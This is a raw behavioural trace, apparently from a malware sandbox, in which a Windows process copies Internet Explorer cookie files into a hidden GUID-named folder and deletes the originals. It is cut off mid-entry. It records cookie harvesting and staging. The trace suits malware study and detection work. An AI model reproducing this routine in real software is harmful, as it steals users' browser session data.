CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 1 [0111.964] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0111.964] StrChrW (lpStart="aetadzjz@ad.360yield[2].txt", wMatch=0x94e005c) returned 0x0 [0111.964] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@ad.360yield[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@ad.360yield[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@ad.360yield[2].txt" [0111.964] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ad.360yield[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ad.360yield[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@ad.360yield[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@ad.360yield[2].txt"), bFailIfExists=0) returned 1 [0111.968] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0111.968] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ad.360yield[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ad.360yield[2].txt")) returned 1 [0111.969] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91840 | out: hHeap=0x9770000) returned 1 [0111.969] lstrlenW (lpString="Low\\aetadzjz@ad13.adfarm1.adition[2].txt") returned 40 [0111.969] lstrlenW (lpString="\\cookie.ie") returned 10 [0111.969] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0111.969] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10e) returned 0x9a94c50 [0111.969] lstrcpyW (in: lpString1=0x9a94c50, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0111.969] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0111.969] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0111.970] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0111.970] StrChrW (lpStart="Low\\aetadzjz@ad13.adfarm1.adition[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@ad13.adfarm1.adition[2].txt" [0111.970] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0111.970] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0111.970] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0111.970] StrChrW (lpStart="aetadzjz@ad13.adfarm1.adition[2].txt", wMatch=0x94e005c) returned 0x0 [0111.970] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@ad13.adfarm1.adition[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@ad13.adfarm1.adition[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@ad13.adfarm1.adition[2].txt" [0111.970] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ad13.adfarm1.adition[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ad13.adfarm1.adition[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@ad13.adfarm1.adition[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@ad13.adfarm1.adition[2].txt"), bFailIfExists=0) returned 1 [0111.973] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a94c50 | out: hHeap=0x9770000) returned 1 [0111.973] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@ad13.adfarm1.adition[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@ad13.adfarm1.adition[2].txt")) returned 1 [0111.974] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91960 | out: hHeap=0x9770000) returned 1 [0111.974] lstrlenW (lpString="Low\\aetadzjz@addthis[2].txt") returned 27 [0111.974] lstrlenW (lpString="\\cookie.ie") returned 10 [0111.974] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0111.974] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf4) returned 0x9a6e990 [0111.974] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0111.974] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0111.974] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0111.974] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0111.974] StrChrW (lpStart="Low\\aetadzjz@addthis[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@addthis[2].txt" [0111.974] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0111.974] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0111.974] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0111.974] StrChrW (lpStart="aetadzjz@addthis[2].txt", wMatch=0x94e005c) returned 0x0 [0111.974] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@addthis[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@addthis[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@addthis[2].txt" [0111.974] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@addthis[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@addthis[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@addthis[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@addthis[2].txt"), bFailIfExists=0) returned 1 [0112.832] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0112.832] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@addthis[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@addthis[2].txt")) returned 1 [0112.833] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91a90 | out: hHeap=0x9770000) returned 1 [0112.833] lstrlenW (lpString="Low\\aetadzjz@adfarm1.adition[2].txt") returned 35 [0112.833] lstrlenW (lpString="\\cookie.ie") returned 10 [0112.833] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0112.833] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x104) returned 0x9a96580 [0112.833] lstrcpyW (in: lpString1=0x9a96580, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0112.833] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0112.834] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0112.834] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0112.834] StrChrW (lpStart="Low\\aetadzjz@adfarm1.adition[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@adfarm1.adition[2].txt" [0112.834] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0112.834] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0112.834] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0112.834] StrChrW (lpStart="aetadzjz@adfarm1.adition[2].txt", wMatch=0x94e005c) returned 0x0 [0112.834] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@adfarm1.adition[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adfarm1.adition[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adfarm1.adition[2].txt" [0112.834] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adfarm1.adition[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adfarm1.adition[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adfarm1.adition[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@adfarm1.adition[2].txt"), bFailIfExists=0) returned 1 [0112.837] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a96580 | out: hHeap=0x9770000) returned 1 [0112.837] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adfarm1.adition[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adfarm1.adition[2].txt")) returned 1 [0112.838] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91bb0 | out: hHeap=0x9770000) returned 1 [0112.838] lstrlenW (lpString="Low\\aetadzjz@adformdsp[2].txt") returned 29 [0112.838] lstrlenW (lpString="\\cookie.ie") returned 10 [0112.838] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0112.838] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf8) returned 0x9a6e990 [0112.838] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0112.838] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0112.838] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0112.838] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0112.838] StrChrW (lpStart="Low\\aetadzjz@adformdsp[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@adformdsp[2].txt" [0112.838] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" [0112.838] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low"), lpSecurityAttributes=0x0) returned 0 [0112.838] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\" [0112.838] StrChrW (lpStart="aetadzjz@adformdsp[2].txt", wMatch=0x94e005c) returned 0x0 [0112.838] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\", lpString2="aetadzjz@adformdsp[2].txt" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adformdsp[2].txt") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adformdsp[2].txt" [0112.838] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adformdsp[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adformdsp[2].txt"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\Low\\aetadzjz@adformdsp[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie\\low\\aetadzjz@adformdsp[2].txt"), bFailIfExists=0) returned 1 [0112.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6e990 | out: hHeap=0x9770000) returned 1 [0112.842] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\aetadzjz@adformdsp[2].txt" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\aetadzjz@adformdsp[2].txt")) returned 1 [0112.842] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91ce0 | out: hHeap=0x9770000) returned 1 [0112.842] lstrlenW (lpString="Low\\aetadzjz@adform[2].txt") returned 26 [0112.842] lstrlenW (lpString="\\cookie.ie") returned 10 [0112.842] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned 82 [0112.843] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xf2) returned 0x9a6e990 [0112.843] lstrcpyW (in: lpString1=0x9a6e990, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}" [0112.843] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}", lpString2="\\cookie.ie" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" [0112.843] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{b423ffbf-837b-066b-ad28-679a31dc8b6e}\\cookie.ie"), lpSecurityAttributes=0x0) returned 0 [0112.843] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\" [0112.843] StrChrW (lpStart="Low\\aetadzjz@adform[2].txt", wMatch=0x94e005c) returned="\\aetadzjz@adform[2].txt" [0112.843] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{B423FFBF-837B-066B-AD28-679A31DC8B6E}\\cookie.ie\\", lpString2="Low" | out: 